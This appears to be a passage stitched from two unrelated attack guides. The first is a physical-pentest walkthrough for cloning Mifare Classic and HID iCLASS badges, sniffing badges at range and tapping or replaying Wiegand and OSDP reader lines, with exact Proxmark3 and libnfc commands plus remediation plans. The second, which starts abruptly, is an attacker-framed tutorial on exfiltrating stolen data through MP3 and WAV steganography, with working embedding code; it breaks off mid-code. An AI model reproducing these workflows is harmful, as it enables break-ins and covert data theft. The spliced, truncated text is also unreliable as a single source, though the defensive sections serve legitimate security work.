A normal blank Mifare card will not accept a write to block 0 (the manufacturer block with the UID), so you cannot clone a card whose UID you want to preserve with a normal blank. You need a ‘magic’ card, a card with a backdoor that lets you rewrite block 0. The xM1 (Gen1) and the Magic Mifare 1k are the common blanks.

Write the dump with nfc-mfclassic (from libnfc tools):

# Write the full dump (keys A and B) to a magic card
nfc-mfclassic W card_dump.mfd card_dump.mfd

The clone now has the same UID, same keys, and same data as the original. To a reader it is indistinguishable.

Tool: Mifare Classic Tool (Android)

GitHub: https://github.com/ikarus23/MifareClassicTool

For on site work, MCT on a rooted Android phone with NFC does the whole flow:

# 1. Open MCT, Read Tag
# 2. MCT tries default keys and shows which sectors it cracked
# 3. Use 'Read Sector' with the recovered keys to dump the card
# 4. 'Write Tag' with a magic card placed on the phone's NFC

Operational notes

• The nested attack needs at least one known key. Always try the default keys first, they work on a surprising number of real deployments.
• Hardnested is slower (minutes to hours) and needs many card interactions. It is for cards that patched the classic nested weakness.
• Magic Gen1 cards are blocked by some modern readers that detect the backdoor. Gen2 magic cards are stealthier. Match the blank to the target reader.
• If the card is Mifare DESFire, Mifare Plus, or Mifare Ultralight C, the nested attack does not apply. Those use real cryptography and need a different approach (often configuration weakness or reader downgrade).

Remediation plan

The defense is to remove the default key foothold and to move off the broken Crypto-1 cipher.

1. Replace Mifare Classic. Move to Mifare DESFire or Mifare Plus (AES based, not vulnerable to nested). This is the only complete fix.
2. If Classic must stay, kill the foothold. Replace every default key with a strong random unique per card key, set the access bits so keys cannot be read back, and disable key B if unused. The nested attack needs at least one known key, so do not leave any default key on any sector.
3. Never authenticate by UID alone. The UID is public and copyable. Access decisions must depend on the encrypted data and the keys, not the UID.
4. Protect the reader link with OSDP enforced Secure Channel, and add a second factor for sensitive doors.
5. Detect the attack in progress. Alert on a spike of authentication failures against one card (a sign of nested or hardnested running), which can give early warning before keys are fully recovered.

Phase 4: HID iCLASS cloning

HID iCLASS is the encrypted high frequency credential from HID Global. It uses a proprietary cipher (iCLASS Standard) or AES (iCLASS Elite and SE). The Standard iCLASS cipher has been reversed, and with the right tools you can read and clone legacy iCLASS cards. Elite and SE are harder and often not directly cloneable.

What makes this attack succeed (the root cause)

Legacy iCLASS Standard uses a proprietary cipher whose master keys were reverse engineered and published years ago. The card derives its per-card keys from those master keys, so with the published master keys a Proxmark3 can decrypt the card’s data blocks and write them to a blank iCLASS card. The reader cannot tell the clone from the original because the clone carries the exact encrypted data the reader expects to see. For iCLASS Elite and SE the key diversification is stronger and the published keys do not work, so attackers pivot to a downgrade attack (if the reader also accepts legacy iCLASS or Prox) or to reader side attacks.

How to perform the attack (plain steps)

1. Hold the iCLASS card to a Proxmark3 and run hf search, then hf iclass info to confirm the iCLASS variant.
2. Run hf iclass read to read the configuration block and the data blocks decrypted with the known keys.
3. Place a blank iCLASS card on the antenna and run hf iclass clone --csn 0a3e1f2c to write the captured data.
4. If the reader is a newer Seos or Elite model, test a downgrade: present the cloned legacy iCLASS card and see if the reader accepts legacy credentials.
5. Walk to the door and present the clone. The door opens.

What happens if the attack succeeds (the consequence)

You hold a working clone of an encrypted HID credential, which means you can open every door that card is authorized for, including high security areas that use iCLASS specifically because they believe it is encrypted and safe. The downgrade variant extends this to sites that have upgraded to Seos but left legacy support on, so one legacy clone defeats the whole upgrade. The clone works until the original credential is revoked.

Tool: Proxmark3 with iCLASS support

GitHub: https://github.com/RfidResearchGroup/proxmark3

The Proxmark3 RDV4 with the current firmware supports iCLASS read and clone.

Step 1: Read the iCLASS card

pm3> hf search
# If it identifies an iCLASS card:
pm3> hf iclass info
pm3> hf iclass read

The Proxmark prints the configuration block, the credential, and the data blocks it can decrypt with the known iCLASS keys.

Step 2: Clone to a blank iCLASS card

pm3> hf iclass clone --csn 0a3e1f2c

Some iCLASS readers check the card’s configuration block (the CSN and the legacy data). The clone has to match the expected configuration or the reader rejects it.

Step 3: Seos downgrade (when iCLASS is too new)

If the target uses HID Seos (the modern encrypted credential), direct cloning is not feasible. But many Seos readers are configured to fall back to legacy iCLASS or Prox for backwards compatibility. In that case you can present a cloned legacy iCLASS card and the reader accepts it. This is the downgrade attack, and it works because backwards compatibility is rarely disabled.

The flip side: if the reader is configured for Seos only, cloning is off the table and you pivot to reader side attacks (Phase 7) or to other physical bypasses (door latch, tailgating, etc.).

Operational notes

• iCLASS Standard is cloneable with published keys. iCLASS Elite and SE are much harder. Identify the exact iCLASS variant during recon.
• Seos downgrade only works if the reader accepts legacy credentials. Test it during recon by presenting a legacy iCLASS clone and watching if the reader beeps differently or rejects it cleanly.
• iCLASS cards are more expensive blanks than LF T5577. Carry a few iCLASS blanks if the engagement is likely to encounter them.

Remediation plan

The defense is to upgrade off the published key generation and to close the downgrade path.

1. Upgrade to iCLASS SE or HID Seos. These use AES with secure per card key diversification and are not vulnerable to the published Standard keys.
2. Disable legacy backwards compatibility on Seos readers. The downgrade attack only works if the reader still accepts legacy iCLASS or Prox. Turn legacy acceptance off so a cloned legacy card is rejected.
3. If Standard iCLASS must stay, use iCLASS Elite with unique per site keys rather than the globally published Standard keys, and treat any remaining Standard deployment as publicly broken.
4. Protect the reader link with OSDP enforced Secure Channel, and shield cards to defeat long range capture (Phase 6).
5. Rotate and audit. Rotate credentials periodically and alert on a credential used after a long gap or from a new location.

Phase 5: Writing to blank cards (the blanks reference)

Choosing the right blank is part of the attack. The blank has to match the protocol and, for HF, the magic level.

LF blanks

T5577. The universal LF blank. Emulates HID Prox, EM410x, Indala, and most other 125 kHz formats. Write with Proxmark3 lf hid clone, lf em 410x clone, or the Flipper RFID app. This is the blank you carry for almost every LF engagement.

HID ProxCard II blank. A genuine HID blank for when the reader checks for HID specific features. More expensive, less flexible than T5577.

HF blanks

Magic Mifare 1k Gen1 (xM1). The basic HF clone blank. Lets you rewrite block 0 (the UID) and every block. Detectable by some modern readers that check for the Gen1 backdoor. Write with nfc-mfclassic or MCT.

Magic Mifare 1k Gen2. A stealthier blank that hides the backdoor. Use when the target reader is known to block Gen1. Write the same way as Gen1.

Magic Mifare Ultralight / NTAG. For cloning Ultralight cards (common in transit and event passes). Write with nfc-mf ultralight or MCT.

iCLASS blank (genuine or compatible). For iCLASS clones. More expensive and harder to source. Write with Proxmark3 hf iclass clone.

How to verify a clone before you go to the door

Always verify the clone with the same reader you used to read the original, or with the Proxmark/Flipper read command. The clone should return the exact same UID and data. A clone that reads back clean in the lab but fails at the door usually means a magic level mismatch (Gen1 blocked) or a configuration block mismatch (iCLASS).

Operational notes

• Carry a mixed set of blanks: a few T5577, a few Gen1 and Gen2 magic Mifare, and one or two iCLASS blanks. You do not always know the card type before recon.
• Label your blanks. A pile of identical looking cards in a bag is a mess under time pressure.
• Keep blanks away from strong magnets and the Proxmark antenna when not writing. Accidental writes are annoying.

Phase 6: Long range and capture attacks

So far we assumed you can get close to the card (within 15 cm). But sometimes you cannot, and sometimes you want to capture a badge without the holder noticing. Long range attacks use a bigger antenna or a different radio band to read cards at distance.

What makes this attack succeed (the root cause)

The card is passive and has no idea who is powering it. Any antenna that produces the right magnetic field will make the card shout its ID, and the card cannot tell a legitimate reader from an attacker’s hidden antenna. Combined with the static, unencrypted ID (LF) or a cloneable tag (UHF), this means anyone who gets a field close enough to the card gets the credential. The user is never warned that their card was read.

How to perform the attack (plain steps)

1. Build a concealed LF antenna into a clipboard, a laptop skin, or a door frame pad, connected to a Proxmark3 in sniffer mode.
2. Stand or walk where badges pass close (a lobby choke point, a turnstile, a door frame).
3. The Proxmark logs the ID of every card its field powers, without the holder noticing.
4. Walk away with the log, read out the captured IDs, and clone each one to a T5577 (LF) or the right UHF blank later.
5. Use the clone at the door.

What happens if the attack succeeds (the consequence)

You capture badge IDs from many people in a single trip through a busy area, with no physical contact and no social engineering. Each captured ID becomes a working clone, so one visit to a lobby can yield dozens of valid badges. Because nobody saw a device touch their badge, there is no suspicion and no incident to report until the cloned badges are used.

LF long range (the physics limit)

LF (125 kHz) read range is physically limited by the magnetic field that powers the card. The practical rule of thumb is that the max read range is one to two times the diameter of the reader antenna. A normal reader with a small antenna reads at 5 to 15 cm. A custom large antenna (a 30 cm or larger loop) can push that to roughly 30 to 50 cm, sometimes a bit more with a tuned amplifier.

This is enough to read a card in someone’s pocket as they brush past a concealed antenna in a bag, a poster, or a door frame. It is not enough to read across a room. For real distance you need to move to UHF.

UHF long range (the different band)

Some access systems use UHF (860 to 960 MHz) for long range vehicle or gate access (for example, EPC Gen2 windshield tags). UHF reads at several meters, up to 20 meters with a high gain antenna. UHF tags are passive and carry a static EPC ID, so they are cloneable the same way LF tags are, just on a different band and with different hardware.

Tool for UHF capture: a UHF RFID reader like the Invengo XC-9912 or a software defined radio with UHF RFID decoding. These are not common in physical pentest kits because UHF access is rare, but worth knowing for vehicle gate engagements.

The ‘shadow’ attack (capture without a reader)

When you cannot read the card directly, capture it in transit. The classic shadow attack: build a concealed LF antenna into a clipboard, a laptop skin, or a door frame pad. Walk past the target with the antenna, the Proxmark in sniffer mode captures the badge ID, and you clone it later. This is how you get a badge from a busy lobby without ever talking to anyone.

Proxmark3 sniff mode for LF:

pm3> lf sniff
# The Proxmark listens for any LF card powered by a nearby reader and logs the ID
# Walk the concealed antenna past a badge, then read the log:
pm3> lf sniff

Operational notes

• LF long range caps around 30 to 50 cm with a big custom antenna. Do not expect room scale reads.
• UHF is the only way to read at meters of distance, and only if the target uses UHF tags.
• The shadow attack is about placement and concealment, not antenna size. A well placed small antenna in a high traffic spot captures more badges than a big antenna you can only use once.

Remediation plan

The defense is to stop the card from answering unknown readers and to make capture distance impossible.

1. Use cards that refuse unknown readers. Seos and DESFire do mutual authentication, so a hidden sniffer reader cannot make them emit a usable credential.
2. Shield the card. Issue shielded badge holders or Faraday sleeves so the card only powers when intentionally presented at a legitimate reader. This is the single cheapest and most effective control against the shadow attack.
3. Position readers away from public flow. Do not mount readers where a person can brush past at close range without badging, so a concealed antenna cannot get within read range.
4. For UHF gate systems, use encrypted and authenticated EPC tags and rotate them, and do not rely on the static EPC alone for the access decision.
5. Sweep for rogue devices. Physically inspect entry points and high traffic choke points for concealed antennas and unknown readers during regular security walks.

Phase 7: Reader side attacks (Wiegand and OSDP)

When the card itself is not cloneable (DESFire, Seos, Elite), the attack moves to the reader to controller link. The reader has to send the badge number to the controller somehow, and that link is often weak.

What makes this attack succeed (the root cause)

The Wiegand protocol sends the badge number as plain voltage pulses on two wires, with no encryption, no authentication, and no tamper detection. The controller trusts whatever pattern arrives on those wires. So an attacker who touches the wires can record any badge that opens the door, and can replay that exact pattern later to open the door as that badge. OSDP can fix this with an enforced AES Secure Channel, but most deployments either do not enable it or accept a downgrade to plaintext, so the weakness persists.

How to perform the attack (plain steps)

1. Remove the reader from the wall (usually two tamper screws) to reach the Data0 and Data1 wires.
2. Tap both data wires with a tiny microcontroller (Arduino or Pi Pico, under 10 dollars) that logs the bit patterns to flash.
3. Put the reader back and leave the logger in place while people badge in normally.
4. Come back, read the log, and decode each 26-bit pattern into a facility code and card number.
5. To replay, connect the microcontroller to the controller side of the data wires and drive Data0 and Data1 with the captured pattern for the badge you want to impersonate. The controller unlocks the door.

What happens if the attack succeeds (the consequence)

You can open the door as any badge you captured, including high security badges that were never cloneable at the card level (DESFire, Seos). You also get a full log of who entered and when, which is useful for scheduling further access. Because the attack sits on the wire, it bypasses every card side security upgrade entirely, so even a site that moved to Seos stays vulnerable until the reader link itself is fixed with enforced OSDP Secure Channel.

The Wiegand tap (capture and replay)

Wiegand sends the badge number as voltage pulses on two wires (Data0 and Data1) in cleartext. If you can get to those wires (often accessible by removing the reader from the wall, which is usually just two screws), you can tap them and capture every badge that opens the door.

The attack hardware is tiny: a microcontroller (Arduino, Raspberry Pi Pico) reading the two data wires, logging the bit patterns to flash. You can build it for under 10 dollars. Deploy it, leave it, come back, and you have a log of every badge that walked through the door, with timestamps.

To replay, the same microcontroller drives the Data0 and Data1 lines with the captured pattern. The controller sees a valid badge open the door and unlocks it. There is no encryption to defeat, because Wiegand has none.

Reference implementation for a Wiegand tap and replay: the Wiegand protocol is documented in the HID and CardLogix references below, and open source Wiegand libraries for Arduino are widely available (for example, https://github.com/monkeyboard/Wiegand-Protocol-Library-for-Arduino).

Step by step Wiegand capture

1. Remove the reader from the wall (usually two tamper screws).
2. Identify the four wires: Data0 (green), Data1 (white), ground, power.
3. Tap Data0 and Data1 with a logic probe or a microcontroller.
4. Log the bit patterns as people badge in. Each 26-bit pattern is one badge (parity, facility code, card number, parity).
5. Decode the facility code and card number to confirm you captured real badges.

Step by step Wiegand replay

1. Connect your microcontroller to the Data0 and Data1 lines (the controller side, not the reader side).
2. Drive Data0 low for each 0 bit and Data1 low for each 1 bit, with the correct timing (roughly 50 microsecond pulses, 2 millisecond period).
3. Send the captured 26-bit pattern for the badge you want to impersonate.
4. The controller sees a valid badge and unlocks the door.

OSDP downgrade attack

OSDP with Secure Channel enforced is resistant to capture and replay. But in practice many OSDP deployments are not enforced. The downgrade attack works like this:

1. Tap the RS-485 A and B wires between reader and controller.
2. Inject a signal telling the controller the reader does not support Secure Channel.
3. The controller falls back to plaintext OSDP.
4. Capture the credential in plaintext as it passes.
5. Replay it later.

This works because some readers and controllers accept the downgrade rather than failing closed. The fix is ‘Secure Channel Required’ mode, where the controller refuses non encrypted communication. During recon, check whether the deployment enforces Secure Channel, if it does not, the downgrade attack is on the table.

The reader swap attack

If you cannot tap the wires, swap the reader. Many Wiegand readers are not authenticated to the controller, so you can replace the legitimate reader with your own device that sends whatever badge number you want down the Wiegand lines. The controller has no way to know the reader was swapped. This is why OSDP with Secure Channel added device authentication, but Wiegand has none.

Operational notes

• Wiegand tap and replay is the single most reliable reader attack. It works on the majority of legacy installations.
• OSDP downgrade only works if Secure Channel is not enforced. Test it during recon.
• Reader swap needs physical access to the reader and a compatible replacement. It is loud, so use it only when tap is not possible.
• Always put the reader back and clean up. A swapped or tampered reader is an obvious sign of intrusion.

Remediation plan

The defense is to secure the reader to controller link and to authenticate the reader itself. This is the most important phase to remediate, because reader side attacks bypass every card side upgrade.

1. Replace Wiegand with OSDP and enforce Secure Channel Required. This is the single most important fix. Secure Channel encrypts the badge data on the wire and authenticates the reader to the controller, so capture, replay, and reader swap all fail. Set the mode to Required (not optional) so the controller refuses plaintext and never accepts a downgrade.
2. Tamper detect the reader. Use tamper switches on the reader and route wiring in conduit, so removing the reader to tap the wires raises an alarm.
3. Authenticate the reader. With OSDP Secure Channel the controller cryptographically authenticates the reader, so a swapped rogue reader is rejected. Without this, Wiegand has no reader authentication at all.
4. If Wiegand must stay, encrypt at the reader. Have the reader encrypt the badge data before sending it, so the wire carries encrypted tokens a tapper cannot replay. Add a door position sensor and alarm on forced open and door held open.
5. Log and alert. Alert on reader offline or tamper events, on a door opening without a valid badge event, and on a reader that stops sending heartbeats (a sign of a swap or cut).

The engagement playbook

A consolidated walkthrough of a physical pentest access card engagement, from first look to open door.

1. Recon the reader. Read the manufacturer label, note the wiring (Wiegand four wires vs OSDP two wires), and photograph the reader model.
2. Read the card with a Flipper or Proxmark. Identify LF vs HF and the exact chip type.
3. If LF (HID Prox, EM410x): Read the ID with lf search, clone to a T5577 with lf hid clone <raw> or the Flipper RFID app. Verify the clone reads back the same ID.
4. If HF Mifare Classic: Run mfoc -O card_dump.mfd to recover keys and dump. If nested fails, use hardnested or MFCUK. Write the dump to a magic Gen1 or Gen2 card with nfc-mfclassic W card_dump.mfd card_dump.mfd.
5. If HF iCLASS: Read with hf iclass info and hf iclass read on the Proxmark. Clone to an iCLASS blank with hf iclass clone. If it is Seos or Elite, check for a legacy downgrade path.
6. If the card is not cloneable (DESFire, Seos enforced): Pivot to reader side attacks. Tap the Wiegand lines, capture a badge, replay it. Or try an OSDP downgrade if the deployment does not enforce Secure Channel.
7. Test the clone at the door. Walk up, present the clone, and confirm the door opens. If it fails, check the magic level (Gen1 blocked) or the iCLASS config block.
8. Document everything. Photograph the reader, the card type, the captured ID, and the successful open. This is the deliverable evidence.

References

• RfidResearchGroup, Proxmark3, https://github.com/RfidResearchGroup/proxmark3
• Flipper Devices, Flipper Zero Firmware, https://github.com/flipperdevices/flipperzero-firmware
• ApertureLabs, RFIDler, https://github.com/ApertureLabsLtd/RFIDler
• ACS, ACR122U NFC Smart Card Reader, https://www.acs.com.hk/en/products/3/acr122u-nfc-smart-card-reader-writer/
• nfc-tools, MFOC Mifare Classic Offline Cracker, https://github.com/nfc-tools/mfoc
• nfc-tools, MFCUK, https://github.com/nfc-tools/mfcuk
• ikarus23, Mifare Classic Tool, https://github.com/ikarus23/MifareClassicTool
• nfc-tools, libnfc, https://github.com/nfc-tools/libnfc
• aalex954, Cloning MIFARE Classic 1k Cards, https://github.com/aalex954/cloning-MIFARE-classic-1k
• Sam Decrock, Reverse engineering Mifare Classic NFC cards using the hardnested attack, https://samdecrock.medium.com/cracking-mifare-classic-nfc-cards-using-the-hardnested-attack-506aab3ea305
• whickey000, How to Copy an Apartment Fob (HID ProxCard) with a Proxmark3 RDV4, https://medium.com/@whickey000/how-to-copy-an-apartment-fob-hid-proxcard-with-a-proxmark3-rdv4-797f8b1adcc
• Node Security, Proxmark3 Card Reading and Cloning, https://node-security.com/posts/proxmark3-card-reading-and-cloning/
• Standard User Cyber, Beginner’s Guide to HID iClass Cloning with the Flipper Zero, https://www.standardusercyber.com/post/beginner-s-guide-to-hid-iclass-cloning-with-the-flipper-zero
• Dangerous Things Forum, HID iClass mega-writeup, https://forum.dangerousthings.com/t/help-with-hid-seos-downgrade-to-iclass-cloning/22648
• Verkada, OSDP and Wiegand, https://help.verkada.com/access-control/users-and-credentials/commission-access-control-cards/osdp-and-wiegand
• CardLogix, Wiegand Definition, https://www.cardlogix.com/glossary/wiegand/
• tagtix, Understanding 26-Bit Wiegand Format, https://tagtixrfid.com/blogs/wiki/wiegand-26bit
• Axis Communications, Why choose OSDP over Wiegand, https://whitepapers.axis.com/en-us/osdp-protocol-in-access-control
• Genetec, What to do about OSDP vulnerabilities for access control, https://www.genetec.com/blog/products/what-to-do-about-osdp-vulnerabilities-for-access-control
• Wavelynx, OSDP vs Wiegand, https://wavelynx.com/news/osdp-vs-wiegand-understanding-the-difference-and-why-it-matters-for-your-access-control-system
• monkeyboard, Wiegand Protocol Library for Arduino, https://github.com/monkeyboard/Wiegand-Protocol-Library-for-Arduino

TLDR

An attacker who has compromised a system needs to get stolen data out without being noticed. Direct network exfiltration (FTP, raw TCP, HTTPS to unknown IPs) gets caught by firewalls and DLP. Audio steganography solves this by embedding stolen data inside ordinary MP3 files that are then uploaded as what looks like legitimate media traffic. The MP3 format is ideal because it is ubiquitous, its lossy compression has multiple hiding points (Huffman codewords, QMDCT coefficients, frame headers), large file sizes look normal, and content inspection for steganography is computationally expensive so most DLP systems skip it. Real APT groups (TeamPCP, Witchetty, ScarCruft, Turla) have used steganography in active campaigns. On air gapped systems, Ben Gurion University research shows data can leave via ultrasonic audio from speakers, fans, and power supplies.

MP3 format internals: where data can be hidden

An MP3 file is a sequence of frames. Each frame has:

1. Frame header (4 bytes). Contains sync word, MPEG version, layer, bitrate, sampling rate, padding, and reserved bits.
2. Side information. Metadata telling the decoder how to interpret the audio data: which Huffman table to use, how many bits per coefficient, scalefactor selection.
3. Huffman coded data. The quantized Modified Discrete Cosine Transform (MDCT) coefficients, compressed with Huffman coding.

The key variable is part2_3_length, which stores the number of bits used for scalefactors and Huffman coded data in each granule. The encoder has an inner loop that quantizes frequency lines and adjusts the step size until the data fits in part2_3_length bits. An outer loop checks that quantization distortion stays below the psychoacoustic model threshold.

Three embedding categories exist:

• During encoding: Data is hidden while WAV is compressed to MP3. Embedding modifies quantization or Huffman coding decisions.
• Post encoding: Data is hidden after MP3 encoding by directly modifying bits in the compressed bitstream.
• Container level: Data is appended or stored in ID3 metadata tags.

Technique 1: MP3Stego (part2_3_length parity embedding during encoding)

How it works. MP3Stego hides data inside an MP3 file during the compression process. It takes a WAV file as input, compresses it to MP3, and during the encoder inner loop it modifies the part2_3_length variable so that its parity (even or odd) encodes one bit of the hidden message. The hidden data is first compressed with zlib and encrypted with 3DES before embedding, so even if the steganography is detected, the payload cannot be read without the password.

Step by step.

1. The attacker prepares a secret message file (text, keys, or small data).
2. MP3Stego compresses the message with zlib to reduce its size.
3. MP3Stego encrypts the compressed message with 3DES using a password.
4. A SHA-1 based pseudo random number generator selects which frames to use.
5. For each selected frame, the inner loop exit condition is modified so that part2_3_length has the correct parity (even = 0, odd = 1).
6. The resulting MP3 file plays normally but contains the hidden data.

Usage.

# Install MP3Stego (Windows binary, runs in Wine on Linux)
# Download from: https://www.petitcolas.net/steganography/mp3stego/
# Source code: https://github.com/fabienpe/MP3Stego
# Prepare a WAV input (MP3Stego requires WAV, not MP3):
ffmpeg -i cover.mp3 -flags bitexact cover.wav
# Embed a secret message:
mp3stego-encode -E hidden_text.txt -P mypassword /abs/path/cover.wav /abs/path/stego.mp3
# Extract the hidden message:
mp3stego-decode -X -P mypassword /abs/path/stego.mp3 /abs/path/out.pcm /abs/path/out.txt

Capacity. Very low: about 1 bit per frame. A 3 minute song at 44.1 kHz has about 10,000 frames, yielding about 1.25 KB. Enough for encryption keys, short messages, or configuration data, but not for bulk exfiltration. The low capacity also makes it harder to detect.

Detection. Detectable by statistical steganalysis (JISE 2014 paper showed part2_3_length parity manipulation creates artifacts in Huffman codeword length distributions), but not by standard DLP or firewall products.

GitHub reference.

• Source code: https://github.com/fabienpe/MP3Stego
• Author: Fabien Petitcolas (1998, last updated November 2018)
• Language: C (Windows binary, runs in Wine)

Technique 2: LSB matching in WAV (audio sample LSB modification)

How it works. The simplest audio steganography technique modifies the least significant bit (LSB) of each audio sample in a WAV file. A 16 bit PCM WAV file stores each audio sample as 2 bytes. Changing the LSB of each sample from 0 to 1 or 1 to 0 changes the audio amplitude by 1 out of 65,536, which is completely inaudible. The attacker reads the stolen data byte by byte, converts each byte to 8 bits, and writes each bit as the LSB of consecutive audio samples. The receiver reads the LSBs back and reconstructs the data.

Step by step.

1. Read the cover WAV file into a numpy array of audio samples.
2. Convert the secret data to a bit string (each byte becomes 8 bits).
3. For each bit, modify the LSB of the corresponding audio sample: if the bit is 1 and the sample LSB is 0, add or subtract 1 randomly (LSB matching). If the bit is 0 and the sample LSB is 1, add or subtract 1 randomly.
4. Write the modified samples back to a new WAV file.
5. To extract, read the LSB of each sample in order and reconstruct the bytes.

Code (from Daniel Lerch Steganography for Python Programmers).

# LSB matching embedding in WAV (from daniellerch.me/stego)
# Reference: https://daniellerch.me/stego/books/stegopython/audio-en/
import wave
import numpy as np
import random
def embed(wav_filename_in, wav_filename_out, message):
    wav_file = wave.open(wav_filename_in, 'rb')
    num_channels = wav_file.getnchannels()
    sample_width = wav_file.getsampwidth()
    frame_rate = wav_file.getframerate()
    num_frames = wav_file.getnframes()
    raw_data = wav_file.readframes(num_frames)
    wav_file.close()
    # Convert to numpy array (16-bit signed integers)
    audio_data = np.frombuffer(raw_data, dtype='<i2')
    audio_data = audio_data.copy()
    # Convert message to bits
    message_bits = [
        int(bit) for byte in message.encode()
        for bit in format(byte, '08b')
    ]
    if len(message_bits) > len(audio_data):
        raise ValueError('Message too long for this audio file')
    # LSB matching: if bit differs from sample LSB, randomly +1 or -1
    for i, bit in enumerate(message_bits):
        if audio_data[i] % 2 != bit:
            if audio_data[i] == 32767:
                audio_data[i] -= 1
            elif audio_data[i] == -32768:
                audio_data[i] += 1
            else:
                audio_data[i] += random.choice([-1, 1])
    # Write output WAV
    raw_data_modified = audio_data.astype('<i2').tobytes()
    with wave.open(wav_filename_out, 'wb') as out:
        out.setnchannels(num_channels)
        out.setsampwidth(sample_width)
        out.setframerate(frame_rate)
        out.writeframes(raw_data_modified)
def extract(wav_filename_in, msglen):
    wav_file = wave.open(wav_filename_in, 'rb')
    raw_data = wav_file.readframes(wav_file.getnframes())
    wav_file.close()
    audio_data = np.frombuffer(raw_data, dtype='<i2')
    message_bits = []
    for i in range(msglen):
        message_bits.append(audio_data[i] % 2)
    message_bits = ''.join(map(str, message_bits))
    message = ''.join(
        chr(int(message_bits[i:i+8], 2))
        for i in range(0, len(message_bits), 8)
    )
    return message
# Usage:
embed('cover.wav', 'stego.wav', 'Hidden text')
print(extract('stego.wav', 88))  # 'Hidden text'

Capacity. High. A 3 minute CD quality stereo WAV file (44.1 kHz, 16 bit) has about 15.8 million samples. At 1 bit per sample, that is about 1.9 MB of hidden data. For MP3, the WAV is first embedded, then compressed to MP3, but the LSB modifications survive MP3 compression only if the bitrate is high enough. For direct MP3 LSB embedding (post encoding), the QMDCT coefficients are used instead (see Technique 3).

Detection. LSB matching is detectable by Aletheia (https://github.com/daniellerch/aletheia) using structural LSB detectors and statistical attacks. Machine learning classifiers trained on audio features can also distinguish steganographic WAV files from clean ones.

GitHub reference.

• Daniel Lerch, Steganography for Python Programmers (book with code): https://daniellerch.me/stego/books/stegopython/audio-en/
• Aletheia (steganalysis tool to detect this): https://github.com/daniellerch/aletheia

Technique 3: QMDCT coefficient LSB manipulation (post encoding, MP3 specific)

How it works. After an MP3 file has already been encoded, an attacker can directly modify the Quantized Modified Discrete Cosine Transform (QMDCT) coefficients in the compressed bitstream. The MDCT converts time domain audio into frequency domain coefficients. The quantized version (QMDCT) is what is stored in the MP3 file after Huffman coding. By flipping the least significant bits of these coefficients, an attacker embeds data without any audible change, because the quantization process already introduces far larger distortions than a 1 bit flip.

Step by step.

1. Parse the MP3 file to extract all frames and their Huffman coded data.
2. Decode the Huffman data to recover the QMDCT coefficients for each granule.
3. For each coefficient above a threshold (e.g. abs(coeff) > 10, to avoid modifying silence), set its LSB to the next secret bit.
4. Re-encode the modified coefficients back to Huffman data.
5. Reassemble the MP3 frames with the modified Huffman data.

Code.

# Simplified QMDCT LSB embedding (Python pseudocode)
# Requires an MP3 parser that can read and write Huffman coded data
# Real implementation: see AS4PGC below
def embed_qmdct_lsb(mp3_frames, secret_bits):
    bit_index = 0
    for frame in mp3_frames:
        for granule in frame.granules:
            for coeff in granule.qmdct_coefficients:
                if bit_index >= len(secret_bits):
                    return
                # Only modify coefficients above a threshold
                # (small coefficients are in silence or quiet sections
                # where changes are more noticeable)
                if abs(coeff) > 10:
                    if secret_bits[bit_index] == 1:
                        coeff = coeff | 1   # set LSB to 1
                    else:
                        coeff = coeff & ~1  # set LSB to 0
                    bit_index += 1
def extract_qmdct_lsb(mp3_frames):
    bits = []
    for frame in mp3_frames:
        for granule in frame.granules:
            for coeff in granule.qmdct_coefficients:
                if abs(coeff) > 10:
                    bits.append(coeff & 1)
    return bits

Capacity. 10 to 50 bits per frame. For a 3 minute song, that is 12 to 60 KB of hidden data. Much higher than MP3Stego.

Detection. Detectable by Markov chain based steganalysis (analyzes transition probabilities between adjacent QMDCT values) and recommender system based detection (Information Sciences 2012 paper). Both require trained classifiers not found in standard security tools.

GitHub reference.

• AS4PGC (Audio Steganography for Pretty Good Concealment): https://github.com/ClarkFieseln/AS4PGC
• Implements QMDCT based embedding in MP3, FLAC, OGG, OPUS, and WAV
• Includes compression and encryption of the hidden file before embedding
• Install: pip install as4pgc
• Usage: as4pgc -w secret.zip carrier.mp3 (embed), as4pgc -r stego.mp3 (extract)
• Article: https://www.codeproject.com/Articles/5313626/Audio-Steganography-for-Pretty-Good-Concealing-AS4

Technique 4: Huffman codeword pair substitution

How it works. The Huffman coded data in an MP3 frame uses 34 code tables defined by the ISO MPEG standard. Many tables contain codeword pairs that differ only in their last bit: codeword 1100 maps to value 5 and codeword 1101 maps to value 7. An attacker swaps between these paired codewords to encode one hidden bit per substitution, without changing the bitstream length or the Huffman table structure.

Step by step.

1. Build a lookup table of all Huffman codeword pairs that differ by exactly 1 bit.
2. Parse the MP3 Huffman coded data stream.
3. For each codeword that has a pair and where the next secret bit is 1, replace it with its paired codeword.
4. If the secret bit is 0, keep the original codeword unchanged.
5. To extract, check whether each codeword is the even or odd member of its pair.

Code.

# Simplified Huffman codeword pair substitution (pseudocode)
# Example: In Huffman table 1, some codeword pairs differ by 1 bit:
#   codeword 1100 -> value 5  (even parity, secret bit = 0)
